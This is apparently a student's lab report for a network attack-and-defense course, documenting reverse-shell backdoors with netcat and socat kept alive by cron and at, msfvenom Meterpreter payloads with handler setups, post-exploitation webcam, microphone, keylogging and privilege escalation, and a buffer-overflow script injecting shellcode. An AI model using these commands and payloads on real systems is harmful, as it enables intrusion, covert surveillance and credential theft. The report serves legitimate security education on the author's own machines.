20242318 2026-2027-1 《网络与系统攻防技术》实验二实验报告
20242318 2026-2027-1 《网络与系统攻防技术》实验二实验报告
1. 基础知识
这次的实验主要是利用各种工具给目标主机留"后门",再通过后门拿回shell、做后渗透,涉及的知识可以分成这么几块:
(1)后门和反弹shell。 后门就是攻击者偷偷留在目标机器上的一个入口,之后随时能连回来。反弹shell(reverse shell)是指目标机器主动向外发起一条shell连接,而不是攻击者去连目标——因为主动外连的方向一般不会被防火墙拦,这是后门最常见的形态。对应的正向连接(bind shell)是目标机开端口等着别人连,容易被发现和拦截。
(2)netcat。 nc号称"瑞士军刀",既能监听端口(-l)也能连端口,配合-e参数可以把shell交给连接方,是最简单的反弹后门载体。nc -lvnp 4444表示监听任意地址的4444端口。
(3)socat。 socat是nc的加强版,功能更全,可以把网络端口、文件、程序灵活地串起来,比如把TCP连接和exec执行的shell对接,还支持pty伪终端,交互体验比nc好。socat -d -d TCP-LISTEN:5555 STDOUT就是监听5555端口并把数据送到标准输出。
(4)Linux任务计划。 cron是Linux的周期任务调度器,用crontab -e编辑当前用户的定时任务,格式是"分 时 日 月 周 命令",* * * * * 命令表示每分钟执行一次;at是"一次性任务"调度器,由atd服务支撑,at now + 2 minutes -f 脚本表示两分钟后执行一次脚本。这两个都能用来让后门"定时自己启动",实现持久化。
(5)Metasploit框架。 MSF是开源渗透测试框架,msfconsole是交互控制台,msfvenom负责生成各种格式的payload(可执行文件、脚本、shellcode都可以),multi/handler是通用的反向连接监听模块,meterpreter是MSF的交互式payload,连上之后有丰富的内置命令。
(6)Meterpreter后渗透命令。 拿到meterpreter会话后可以做很多事:webcam_list/webcam_snap调用目标摄像头拍照,record_mic录音,keyscan_start/keyscan_dump抓键盘记录,screenshot截屏,getsystem尝试提权(比如通过Named Pipe Impersonation这类方法,EfsPotato就是其中一种变体)。
(7)shellcode和缓冲区溢出(衔接实验一)。 任务五用到了实验一的技能:MSF生成机器码形式的shellcode,利用pwn1的gets溢出漏洞覆盖返回地址,配合NOP雪橇跳进shellcode执行,弹回meterpreter会话。小端序、ASLR、NX这些实验一讲过的概念这里同样适用。
2. 实验内容
方案简介: 实验以"给目标主机留后门、拿回控制权"为主线做了五个递进的任务,从命令行工具的简单后门,到MSF的完整后渗透,再到shellcode注入,层层深入:
- 任务一: 用netcat做反弹shell后门,配合cron定时任务实现持久化启动。
- 任务二: 用socat做反弹shell后门,配合at任务计划定时启动。
- 任务三: 用MSF的msfvenom生成Meterpreter可执行后门,传到目标机运行,反弹回Meterpreter会话。
- 任务四: 拿到Meterpreter会话后做后渗透,调用目标摄像头拍照、录音、抓键盘记录、截屏,并尝试提权。
- 任务五: 用MSF生成shellcode,结合实验一的缓冲区溢出漏洞注入到pwn1程序里,溢出触发后弹回反弹shell。
3. 实验过程
3.1 任务一:netcat后门 + cron定时启动
(1)编写后门脚本。 用nano写一个netcat反弹脚本,把shell反弹回4444端口,内容就是一条反弹命令(把/bin/sh交给连接方),文件名带上学号:
nano nc_backdoor_20242318.sh
chmod +x nc_backdoor_20242318.sh
ls -l nc_backdoor_20242318.sh

图1里能看到脚本nc_backdoor_20242318.sh创建完成并加上了执行权限。
(2)配置cron定时任务。 用crontab -e编辑定时任务,加入一行让后门脚本每分钟执行一次:
crontab -e

图2是在nano里编辑crontab,最后一行* * * * * /home/kali/Desktop/nc_backdoor_20242318.sh就是每分钟执行一次后门脚本。
(3)监听并验证。 攻击机先监听4444端口,等cron把后门跑起来后脚本自动连回来:
nc -lvnp 4444

图3里nc收到来自127.0.0.1的连接,输入ls能正常列出文件,说明后门脚本执行成功,拿到了目标主机的shell。
3.2 任务二:socat后门 + at任务计划启动
(1)编写socat后门脚本。 用nano写一个socat反弹脚本(用socat把TCP连接和/bin/bash对接,带pty参数交互更好用),加上执行权限:
nano socat_backdoor_20242318.sh
chmod +x socat_backdoor_20242318.sh
ls -l socat_backdoor_20242318.sh

图4是脚本socat_backdoor_20242318.sh创建和赋权的界面。
(2)启动atd服务并配置at任务。 at是独立的调度服务,先启动atd,再用at命令安排两分钟后执行后门脚本:
sudo systemctl start atd
at now + 2 minutes -f /home/kali/socat_backdoor_20242318.sh

图5里at提示job 1 at Sun Oct 11 22:53:00 2026,任务安排成功(中间我把atq敲成atp报了个错,这个放到第4部分问题里说)。
(3)监听并验证。 攻击机监听5555端口,等at任务到点执行后门、脚本连回来:
socat -d -d TCP-LISTEN:5555 STDOUT

图6里socat在22:53:00准时收到连接(at任务到点触发),输入ls能列出目录内容,后门成功。
3.3 任务三:MSF生成可执行后门
(1)msfvenom生成后门。 用msfvenom生成Linux x86的Meterpreter反弹后门可执行文件:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=6666 -f elf -o backdoor_20242318.elf

图7里msfvenom生成成功:Payload size 123 bytes,backdoor_20242318.elf最终207字节。
(2)配置handler监听。 在msfconsole里用multi/handler配置对应的监听参数:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 6666
run
(3)传输后门时翻车。 一开始想用nc把后门传过去,结果命令写错,把本机的后门文件直接覆盖成了0字节:

图8里nc -lvnp 7777 backdoor_20242318.elf这种写法把接收内容直接写进了backdoor文件,ls -l一看文件变成0字节,后门报废了。详细解决放第4部分。
(4)重新生成x64后门并成功反弹。 换x64架构重新生成后门(backdoor64_20242318.elf),handler也换成x64的payload:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=6666 -f elf -o backdoor64_20242318.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 6666
run

图9里Meterpreter session 1成功打开,sysinfo返回Debian x64系统信息,说明MSF后门投放运行成功,拿到了目标机控制权。
3.4 任务四:Meterpreter后渗透(Windows靶机)
任务三验证的是Linux后门,任务四改成打Windows靶机。我直接在自己带摄像头的Windows本机上做完整后渗透(Kali虚拟机没有摄像头,之前在Kali上也跑过一遍,摄像头相关功能做不了,效果没有本机完整,所以以本机这次为准)。
(1)生成Windows后门。 用msfvenom生成Windows平台的exe后门:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.128 LPORT=8888 -f exe > backdoor_20242318.exe

图10里生成backdoor_20242318.exe,大小7168字节,payload是windows/meterpreter/reverse_tcp。
(2)配置handler并在靶机运行后门。 配置windows的handler监听8888,把exe传到Windows本机运行:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 8888
run

图11里Meterpreter会话打开,sysinfo显示目标是一台Windows 11 24H2的机器(主机名LAPTOP-DQ0IPL69,这台就是我自己带摄像头的本机),getuid显示当前用户是Shyshine(我的英文名),普通用户权限。
(3)后渗透操作。 依次调用摄像头、麦克风、键盘记录、截屏和提权:
webcam_list
webcam_snap
record_mic -d 5
keyscan_start
keyscan_dump
keyscan_stop
screenshot
getsystem

图12里webcam_list列出1: Integrated Camera(目标机自带摄像头),webcam_snap成功抓拍并保存成jpeg;record_mic -d 5录了5秒音频存成wav;keyscan_start之后keyscan_dump抓到了键盘输入(能看到打的20242318li...);screenshot截屏成功;最后getsystem通过Named Pipe Impersonation(EfsPotato变体)提权成功,从普通用户提到了SYSTEM权限。
(4)截屏成果。 screenshot截到的屏幕在目标机上打开看一眼:

图13是目标Windows屏幕上打开的截屏结果,还能看到后面叠着VMware里跑的Kali窗口,说明截屏功能真实有效。
3.5 任务五:MSF生成shellcode注入pwn1
(1)生成shellcode。 用msfvenom生成Python格式的反弹shellcode,-b '\x00'去掉空字节(防止溢出时被字符串截断),自动用shikata_ga_nai编码:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=9999 -b '\x00' -f python

图14里shellcode编码后150字节,输出成Python的buf字节数组,方便拼进payload。
(2)构造溢出payload。 结合实验一的方法:32字节'A'填充覆盖到返回地址 + 4字节跳转地址(小端序) + NOP雪橇 + 这段MSF shellcode,用Python脚本生成(跳转地址用gdb断点定位,后面问题部分细说):
python3 -c "
import sys
pad = b'A' * 32
eip = 0xffffcf14.to_bytes(4, 'little')
nop_sled = b'\x90' * 64
shellcode = b'\xdb\xd9...' # 上面生成的buf
payload = pad + eip + nop_sled + shellcode
sys.stdout.buffer.write(payload)
" > final_msf_payload_20242318.bin
(3)监听并触发溢出。 配置9999端口监听,用setarch固定环境后把payload喂给pwn1:
(cat final_msf_payload_20242318.bin; cat) | setarch i386 -R -L ./pwn_20242318

图15里Meterpreter会话打开,sysinfo返回Debian i686,说明MSF的shellcode通过缓冲区溢出成功注入pwn1并执行,弹回了反弹shell。
4. 问题及解决方案
问题1:任务三用nc传后门,命令写错把文件搞成0字节。 一开始想用nc把后门文件传过去,敲的是nc -lvnp 7777 backdoor_20242318.elf,结果nc把收到的数据直接写进了backdoor文件,ls -l一看文件从207字节变成0字节,后门直接报废。
问题1解决方案:查了nc的用法才明白,接收端要把数据重定向到文件才行(nc -lvnp 7777 > backdoor_20242318.elf,发送端用nc -w 3 目标 7777 < backdoor_20242318.elf)。不过当时为了不再折腾传输,我换了思路:重新生成一个x64架构的backdoor64_20242318.elf,换个方式传过去运行,handler也换成x64的payload,一次就成功弹回会话。
问题2:任务四Kali虚拟机没有摄像头。 后渗透做到webcam_list的时候,Kali虚拟机里返回空,没有可用摄像头设备,摄像头拍照这步做不了。
问题2解决方案:把实验目标换成有摄像头的Windows本机,重新生成Windows平台的exe后门打过去,webcam_list正常识别到Integrated Camera,webcam_snap、record_mic、keyscan、screenshot、getsystem全部走通,后渗透功能完整验证。Kali上跑的那遍只做了能做的部分。
问题3:任务五跳转地址硬算不稳,程序illegal hardware instruction。 第一次按实验一的套路用gdb看esp然后手动算shellcode地址,结果程序跑到无效地址直接illegal hardware instruction崩了。中间试过找libc里的jmp esp跳板也没找到,一度卡住。
问题3解决方案:改用"断点定位法"——先构造一个测试payload,shellcode位置全填0xcc(int3断点指令),用gdb跑,程序执行到0xcc会自动停下,这时看eip寄存器,值就是shellcode的真实入口地址,比手动算esp+4准得多。拿到地址后重新生成payload,配合setarch固定环境和NOP雪橇,一次成功。
问题4:任务二把atq敲成atp。 配好at任务后想查看任务队列,手滑敲了atp,系统提示命令不存在,还列了一堆相似命令建议。
问题4解决方案:at相关的查询命令是atq(或者at -l),我敲错字母了。不影响任务本身,at任务已经安排成功,到点照样执行了后门脚本。这也提醒我敲命令的时候看清楚再回车。
5. 学习感悟、思考等
这次实验做完最大的感受是:后门这东西,真比想象的"轻"。以前总觉得留后门是多复杂的事,结果一个nc脚本加一行crontab,或者一个socat脚本加一条at命令,后门就成型了,还能定时自己起来——攻击者的成本低得可怕。而作为防守方,如果不知道这些套路,机器被人留了后门可能好几天都发现不了。
MSF给我的冲击也挺大。一条msfvenom命令生成后门,multi/handler一条命令接会话,meterpreter里摄像头、麦克风、键盘记录都是现成命令,几乎是"点按钮式攻击"。工具化程度越高,越说明安全防护的紧迫性——普通人的电脑被这样打一下,自己根本察觉不到。任务四在自己本机上跑通摄像头拍照和键盘记录的时候,后背其实是有点发凉的,因为那就是我自己每天在用的电脑。
任务五算是把实验一的知识用上了,但比实验一难受得多。实验一栈地址是慢慢算出来的,实验二换了一段更长的MSF shellcode后,同样的套路就是跳不准,一路illegal hardware instruction。最后是拿0xcc断点把地址"打"出来的那一刻才明白:调试器不只是能看地址,它本身就是最好的定位工具。这也让我体会到,攻击手法看着是现成的命令,背后每一个参数、每一个地址都是要真理解的,知其然不知其所以然,一换环境就翻车。
另外这次实验也让我重新想了"持久化"这个词。cron、at这些本来是给系统管理员用的便利功能,被拿来当后门的自动启动器,就是典型的"功能滥用"。作为网安专业的学生,以后写代码、配系统的时候至少要有这根弦:自己机器上不随便跑来路不明的程序,防火墙和任务计划要定期翻一翻,摄像头麦克风不用的时候该禁用就禁用。攻防的两面,这次算是都摸到了一点边。

浙公网安备 33010602011771号